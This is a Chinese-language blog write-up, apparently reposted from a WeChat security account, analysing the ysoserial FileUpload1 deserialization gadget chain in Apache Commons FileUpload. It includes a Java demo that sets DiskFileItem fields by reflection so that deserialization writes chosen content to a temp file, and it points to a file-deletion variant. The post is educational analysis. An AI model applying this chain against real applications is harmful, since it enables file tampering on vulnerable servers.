0x01 前言
本次漏洞,感觉涉及的知识点不是特别多,只是当作学习笔记,感兴趣的童鞋可以看一看,写得不好的地方,大佬们多多包涵。
0x02 漏洞分析
01 漏洞分析
本漏洞较为简单,所以我自己写了个测试demo,用来调试了解序列化/反序列化的执行过程,仅供学习使用,代码如下
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;
import java.io.*;
import java.lang.reflect.Field;
public class Demo1 {
public static void main(String[] args) {
domain();
}
private static void domain() {
byte[] bytes = "abc123".getBytes();
File file = new File("d:/temp1");
try {
DeferredFileOutputStream dfos = new DeferredFileOutputStream(3, file);
/*Field written = ThresholdingOutputStream.class.getDeclaredField("written");
written.setAccessible(true);
written.set(dfos, 2);*/
DiskFileItem disk = new DiskFileItem(null, null, false, null, 0, file);
Field dfos1 = disk.getClass().getDeclaredField("dfos");
dfos1.setAccessible(true);
dfos1.set(disk, dfos);
Field cachedContent = disk.getClass().getDeclaredField("cachedContent");
cachedContent.setAccessible(true);
cachedContent.set(disk, bytes);
ByteArrayOutputStream baos1 = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos1);
oos.writeObject(disk);
ByteArrayInputStream bais = new ByteArrayInputStream(baos1.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
} catch (IOException | IllegalAccessException | NoSuchFieldException | ClassNotFoundException e) {
e.printStackTrace();
}
}
}
我们在 org.apache.commons.fileupload.disk.DiskFileItem#writeObject 和 org.apache.commons.fileupload.disk.DiskFileItem#readObject方法处打上断点,留作调试
这个应该没什么要说的,定义了一个字节数组,new了一个file对象,将file对象作为 DeferredFileOutputStream 构造方法参数传入,其中第一个参数随便给,后面会讲到,这里我注释了三行,这里是为了给 written字段赋值,后面也会解释,赋不赋值其实都是一样的,接着往下走
这里是实例化了一个 DiskFileItem 对象,主要是最后一个参数,其他参数可以忽略,然后通过反射的方式,将disk对象的dfos字段赋值为我们定义的dfos对象 ,接着往下走
通过反射获取到disk对象的 cacheContent 字段,并赋值为我们自定义的内容 ,继续往下
将disk对象序列化写入ByteArrayOutputStream,触发writeObject方法,跟入
调用 this.dfos.isInMemory() 方法,跟入
看到调用 this.isThresholdExceeded() 方法,并对结果进行取反,跟入
这里由于我们没有定义written,所以默认值为0,而 threshold 我们初始赋值为3,这里应该 为false,取反后为true,回到 org.apache.commons.fileupload.disk.DiskFileItem#writeObject 方法
跟入
跟入 this.isInMemory() ,如图
很显然cachedContent不为null,所以返回true,然后直接返回 cachedContent,至此 writeObject 调用结束
我们回到readObject方法,如图
跟入
这里可以看到dfos为null,这是为什么呢,前面不是反射赋值过了吗,我们来看一下该字段的修饰符
看到transient大家就应该明白了,该字段不可被反序列化,所以反序列化之后他的状态没有保存下来,这也是为什么只能写入临时文件的原因,如果该字段不是transient的话,应该是可以任意目录写入任意文件的,继续往下
调用getTempFile方法创建临时文件,目录使用我们传入的目录,这就导致了文件名不可控的问题,最后将返回的file对象传入 DeferredFileOutputStream 构造方法,并返回,回到 org.apache.commons.fileupload.disk.DiskFileItem#readObject 继续往下走
这里因为 cachedContent 是我们自定义的内容,不为null,所以直接调用写入,我们还可以看到如果cachedContent 为null的话,会进入else代码块,这时会将 this.dfosFile 文件内容复制给生成的临时文件,然后删除 this.dfosFile 文件,这也就是另一个利用方式了,聪明的你们应该不用我说了吧,文件写入和删除其实都很简单,就是对应字段赋值然后反序列化触发
生成的临时文件长这样
0x03 总结
本漏洞其实没有太多可讲的知识点,也可能是本人理解不深,希望对感兴趣的童鞋能给到一定的学习帮助,我们一起进步成长。
原文始发于微信公众号(伟盾网络安全):ysoserial分析之FileUpload1利用链
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论